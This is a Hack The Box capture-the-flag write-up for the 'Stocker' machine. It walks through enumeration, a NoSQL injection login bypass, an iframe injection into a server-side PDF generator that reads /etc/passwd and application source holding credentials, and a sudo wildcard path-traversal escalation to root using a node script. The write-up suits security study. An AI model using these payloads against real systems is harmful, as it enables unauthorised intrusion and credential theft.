HTB: Stocker - Easy

Note

This is an older box I completed when I wasn’t great at taking notes. Still, I hope this writeup helps if you’re stuck on this HTB machine or if you just enjoy reading how others solve boxes.

Enumeration

I initiated an nmap scan using the following command:

nmap -A 10.129.248.184 | tee stocker.nmap

The nmap scan returned these results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan revealed the hostname stocker.htb. I added it to /etc/hosts :

10.129.248.184		stocker.htb

Upon accessing https://stocker.htb, I used the Wappalyzer browser extension to identify the web application’s visible dependencies and technologies:

Eleventy 2.0.0
Bootstrap
AOS (javascript)

While exploring the website manually, I ran gobuster in parallel to enumerate directories:

gobuster dir --url http://stocker.htb/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

The gobuster scan revealed these results:

/img                  (Status: 301) [Size: 178] [--> http://stocker.htb/img/]
/css                  (Status: 301) [Size: 178] [--> http://stocker.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://stocker.htb/js/]
/fonts                (Status: 301) [Size: 178] [--> http://stocker.htb/fonts/]
Progress: 220247 / 220561 (99.86%)

The scan didn’t reveal anything immediately useful, though the /img directory might be valuable later for file transfers or storage exploitation.

This was not valuable.

Finding no immediate vulnerabilities in the directories, I initiated a subdomain enumeration using ffuf:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -fc 404

After filtering out 404 status codes, the ffuf scan identified a dev subdomain:

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 20ms]

I added the newly discovered subdomain to /etc/hosts:

10.129.248.184	stocker.htb dev.stocker.htb

Using the newly discovered dev.stocker.htb, I initiated another directory enumeration:

gobuster dir --url http://dev.stocker.htb/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Analyzing dev.stocker.htb with Wappalyzer revealed these technologies:

  • HUGO is the framework 0.84.0
  • Nginx reverse proxy 
  • Web framework: Express
  • Bootstrap 5.0.2
  • Node.js

Exploitation

The directory scan uncovered a /login page. After attempting several common default credentials without success, we needed to explore other attack vectors.

The login form was found to be vulnerable to NoSQL injection. We exploited this by modifying the Content-Type header to application/json and submitting the following request:

POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
[..]

{"username":{"$ne":"admin"}, "password":{"$ne":"p***s"}

The authentication bypass was achieved using additional JSON parameters in the username and password fields, following the technique documented on https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication.

Upon submitting the NoSQL injection payload, we were redirected to /stock:

HTTP/1.1 302 Found
[..]
<p>Found. Redirecting to <a href="/stock">/stock</a></p>

After gaining access, we were presented with a shopping interface:

After intercepting the cart submission with Burp Suite, I discovered the Title parameter was vulnerable to injection. The application appeared to be using a server-side HTML-to-PDF converter for generating order summaries. This meant that any HTML injected would be rendered by the server, not the client, allowing us to access server files through iframe injection.

By inserting the following payload into the Title parameter on the API endpoint /api/po/{id}, I was able to load /etc/passwd within an iframe:

<iframe src=/etc/passwd height=1000px width=1000px</iframe>

To ensure visibility of the complete /etc/passwd file contents, I adjusted the iframe dimensions in the payload:

mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

We notice the user angoose which is not a default user, and has /home/angoose:/bin/bash in it.

In the /etc/passwd output, we identified a non-default user angoose with a valid shell path (/bin/bash). Based on common web server configurations, I decided to examine /var/www/ to locate the web application files:

<iframe src=/var/www/dev/index.js height=1000px width=1000px</iframe>

Since Wappalyzer identified NodeJS as the backend, I targeted index.js. Upon reading this file, we discovered credentials in the source code:

// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:I***e@localhost/dev?authSource=admin&w=1";

Using the credentials found in the source code and the previously identified SSH service (port 22), I established remote access:

angoose@stocker:~$ cat user.txt 
269****d2b

Privilege Escalation

Upon gaining access, I immediately checked for sudo privileges using sudo -l to identify any commands the user could execute with root permissions:

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$

The sudo -l output showed we could run node on any .js file in /usr/local/scripts/ with root privileges. Using a reference from https://stackabuse.com/executing-shell-commands-with-node-js/, I input the payload:

angoose@stocker:~$ cat exec.js 
const { exec } = require("child_process");

exec("cat /root/root.txt", (error, stdout, stderr) => {
    if (error) {
        console.log(`error: ${error.message}`);
        return;
    }
    if (stderr) {
        console.log(`stderr: ${stderr}`);
        return;
    }
    console.log(`stdout: ${stdout}`);
});

To execute our payload with root privileges, I ran the following command:

sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/exec.js

Successfully obtained root access by executing our JavaScript payload with sudo privileges.